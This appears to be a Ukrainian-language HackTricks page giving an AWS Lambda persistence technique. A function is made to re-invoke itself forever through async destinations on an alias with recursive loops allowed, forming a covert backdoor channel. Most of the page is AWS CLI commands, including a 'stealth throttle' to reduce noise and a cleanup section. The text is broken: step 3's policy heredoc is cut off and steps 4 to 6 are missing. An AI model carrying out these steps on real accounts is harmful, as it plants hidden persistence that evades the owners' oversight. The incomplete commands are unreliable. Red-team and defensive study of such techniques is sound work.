# AWS - Lambda Async Self-Loop Persistence via Destinations + Recursion Allow {{#include ../../../../banners/hacktricks-training.md}} Зловживання Lambda asynchronous destinations разом із конфігурацією Recursion дозволяє змусити функцію постійно перевикликати себе без зовнішнього планувальника (без EventBridge, cron тощо). За замовчуванням Lambda припиняє рекурсивні цикли, але встановлення recursion config у Allow знову їх увімкне. Destinations доставляють виклики на стороні сервісу для async invokes, тож один початковий invoke створює малопомітний, безкодовий heartbeat/backdoor канал. За потреби можна обмежити через reserved concurrency, щоб зменшити шум. Примітки - Lambda не дозволяє безпосередньо налаштувати функцію як її власний destination. Використовуйте function alias як destination і надайте execution role право викликати (invoke) цей alias. - Мінімальні права: можливість читати/оновлювати event invoke config та recursion config цільової функції, publish a version і керувати alias, а також оновлювати політику execution role функції, щоб дозволити lambda:InvokeFunction на цьому alias. ## Вимоги - Регіон: us-east-1 - Змінні: - REGION=us-east-1 - TARGET_FN= ## Кроки 1) Отримати ARN функції та поточну настройку recursion ``` FN_ARN=$(aws lambda get-function --function-name "$TARGET_FN" --region $REGION --query Configuration.FunctionArn --output text) aws lambda get-function-recursion-config --function-name "$TARGET_FN" --region $REGION || true ``` 2) Опублікуйте версію та створіть/оновіть alias (використовується як self destination) ``` VER=$(aws lambda publish-version --function-name "$TARGET_FN" --region $REGION --query Version --output text) if ! aws lambda get-alias --function-name "$TARGET_FN" --name loop --region $REGION >/dev/null 2>&1; then aws lambda create-alias --function-name "$TARGET_FN" --name loop --function-version "$VER" --region $REGION else aws lambda update-alias --function-name "$TARGET_FN" --name loop --function-version "$VER" --region $REGION fi ALIAS_ARN=$(aws lambda get-alias --function-name "$TARGET_FN" --name loop --region $REGION --query AliasArn --output text) ``` 3) Дозволити ролі виконання функції викликати alias (необхідно для Lambda Destinations→Lambda) ``` # Set this to the execution role name used by the target function ROLE_NAME= cat > /tmp/invoke-self-policy.json </dev/null ``` 7) Спостерігайте безперервні виклики (приклади) ``` # Recent logs (if the function logs each run) aws logs filter-log-events --log-group-name "/aws/lambda/$TARGET_FN" --limit 20 --region $REGION --query events[].timestamp --output text # or check CloudWatch Metrics for Invocations increasing ``` 8) Необов'язковий stealth throttle ``` aws lambda put-function-concurrency --function-name "$TARGET_FN" --reserved-concurrent-executions 1 --region $REGION ``` ## Очищення Припиніть цикл і видаліть persistence. ``` aws lambda put-function-recursion-config --function-name "$TARGET_FN" --recursive-loop Terminate --region $REGION aws lambda delete-function-event-invoke-config --function-name "$TARGET_FN" --region $REGION || true aws lambda delete-function-concurrency --function-name "$TARGET_FN" --region $REGION || true # Optional: delete alias and remove the inline policy when finished aws lambda delete-alias --function-name "$TARGET_FN" --name loop --region $REGION || true ROLE_NAME= aws iam delete-role-policy --role-name "$ROLE_NAME" --policy-name allow-invoke-self --region $REGION || true ``` ## Вплив - Один async invoke змушує Lambda постійно перевикликати себе без зовнішнього планувальника, що дозволяє приховану persistence/heartbeat. Reserved concurrency може обмежити шум до одного warm execution. {{#include ../../../../banners/hacktricks-training.md}}